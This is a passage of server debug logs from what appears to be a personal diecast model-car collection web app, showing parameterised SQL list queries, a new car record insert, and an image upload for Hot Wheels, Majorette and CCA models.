    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:43:27.941Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 130,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:44:16.149Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T04:44:16.149Z server-connect:app Executing action step identify
2026-02-04T04:44:16.149Z server-connect:app options: { provider: 'security' }
2026-02-04T04:44:16.149Z server-connect:output identity: 1
2026-02-04T04:44:16.149Z server-connect:app Executing action step restrict
2026-02-04T04:44:16.149Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:44:16.151Z server-connect:output restrict: undefined
2026-02-04T04:44:16.151Z server-connect:app Executing action step condition
2026-02-04T04:44:16.151Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T04:44:16.151Z server-connect:app Executing action step insert
2026-02-04T04:44:16.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T04:44:16.153Z server-connect:output insert: { affected: 1, identity: 149 }
2026-02-04T04:44:16.153Z server-connect:app Executing action step condition
2026-02-04T04:44:16.153Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T04:44:16.153Z server-connect:app Executing action step upload
2026-02-04T04:44:16.153Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T04:44:16.154Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T04:44:16.154Z server-connect:upload Process fields: 'images[]'
2026-02-04T04:44:16.154Z server-connect:upload Processing file: {
  name: 'ID076509_TxNPAJ9ZisR.jpg',
  data: <Buffer >,
  size: 207054,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-16-20378841770180256147',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'bf2490f8e2e94ac233de4fa59199d5a2',
  mv: [Function: mv]
}
2026-02-04T04:44:16.154Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg',
  rel: 'public/assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg'
}
2026-02-04T04:44:16.154Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg',
  rel: 'assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg'
}
2026-02-04T04:44:16.154Z server-connect:output upload_image: [
  {
    name: 'ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg',
    path: '/public/assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg',
    url: '/assets/images/diecast/ID076509_TxNPAJ9ZisR_7d8313cb-b68c-4aea-864c-b01100d0d14c.jpg',
    type: 'image/jpeg',
    size: 207054
  }
]
2026-02-04T04:44:16.154Z server-connect:app Executing action step repeat
2026-02-04T04:44:16.154Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T04:44:16.154Z server-connect:app Executing action step insert
2026-02-04T04:44:16.154Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T04:44:16.156Z server-connect:output images: { affected: 1, identity: 167 }
2026-02-04T04:44:16.156Z server-connect:output repeat_images: [ {} ]
2026-02-04T04:44:16.156Z server-connect:output condition: undefined
2026-02-04T04:44:16.156Z server-connect:output condition: undefined
2026-02-04T04:44:16.410Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:44:16.410Z server-connect:app Executing action step identify
2026-02-04T04:44:16.410Z server-connect:app options: { provider: 'security' }
2026-02-04T04:44:16.410Z server-connect:output identity: 1
2026-02-04T04:44:16.410Z server-connect:app Executing action step restrict
2026-02-04T04:44:16.410Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T04:44:16.411Z server-connect:output restrict: undefined
2026-02-04T04:44:16.411Z server-connect:app Executing action step paged
2026-02-04T04:44:16.411Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T04:44:16.415Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 131,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T04:44:21.113Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T04:44:21.113Z server-connect:app Executing action step identify
2026-02-04T04:44:21.113Z server-connect:app options: { provider: 'security' }
2026-02-04T04:44:21.113Z server-connect:output identity: 1
2026-02-04T04:44:21.114Z server-connect:app Executing action step restrict
